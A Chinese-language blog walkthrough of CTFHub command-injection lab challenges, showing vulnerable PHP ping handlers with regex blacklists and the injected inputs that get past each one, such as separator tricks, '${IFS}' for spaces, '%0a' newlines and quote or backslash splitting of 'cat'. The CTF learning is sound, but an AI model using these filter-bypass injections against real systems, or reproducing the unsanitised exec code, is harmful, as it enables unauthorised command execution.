CTFHUB RCE 命令注入

RCE知识点:
rce分为远程执行ping,和远程代码执行evel。
漏洞出现原因:未在输入口做输入处理。
涉及到ping命令:ping是windows,linux系统下的一个命令,ping也属于一个通信协议,是TCP/IP协议的一部分,利用ping命令可以检查网络是否连通,可以很好的帮助我们分析和判定网络故障。

LINUX系统的管道符:

1," ; ": 执行完前面的语句在执行后面的语句。
2.“ | “: 显示后面的语句的执行结果。
3.” || “:当前的语句执行出错时,执行后面的语句。
4.” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5.” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。

还有一些管道符:
windows系统是:
1. "  |  " :是直接后面的执行语句
2. “  || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
3. " & "两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. " && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

命令注入

进去直接看到输入ping ,什么也没过滤

127.0.0.1;ls

看见flag文件,

cat访问

直接在网页上看不见看不见,查看源代码或者在命令后面再加 |base64

过滤cat

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } 

else { $res = $m; } } ?>

过滤了cat命令,可以使用 \符号来避免

127.0.0.1&ls 找到flag_286492271214562.php文件

127.0.0.1&c\at flag_286492271214562.php 查看源代码得到flag(或者转化为base64再解码得到flag)

过滤空格

知识点:空格可以替换 <,<>, ${IFS},  $IFS,%20(space),  %09(tab),   $IFS$9,

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

首先还是 127.0.0.1&ls 查看当前目录

看见 flag_289171498827367.php

然后127.0.0.1&cat<flag_26132889926071.php查看flag

得到flag:ctfhub{8450b0b17cb0c7a01228ba1f}

过滤目录分隔符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

 

过滤了 / 和 \

首先127.0.0.1|ls 查看当前路径

看见一个文件夹flag_is_here

直接使用 ;cd flag_is_here&&ls 得到flag:ctfhub{53c88a6505b1e001e3444ac8}

 

过滤运算符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

直接 127.0.0.;ls 看到flag文件flag_249202331815571.php

查看文件127.0.0.1;cat flag_7861165715441.php

得到flag:ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}

 

综合练习

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

 

知识点:运算符分号可以用 %0a,%0d,%0D%0A替代。

flag可以用${IFS}fl$*ag_id_here这样替代。

127.0.0.1&ls提交并且用bp抓包

抓包后改为127.0.0.1%0als,go一下

发现了flag_is_here

继续查看这个文件127.0.0.1%0als${IFS}fl$*ag_is_here继续go一下

得到了一个flag文件

继续进入目录查看文件即可

原本要写成这样 27.0.0.1;cd flag_is_here;cat flag_31441137586545.php

因为过滤 127.0.0.1%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}fl$*ag_31441137586545.php

(当时没写,此处用的大佬的wp)

链接:https://blog.csdn.net/weixin_43326436/article/details/106719844

           https://blog.csdn.net/szgyunyun/article/details/104970118

posted @ 2021-03-18 23:52  zap162  阅读(119)  评论(0)    收藏  举报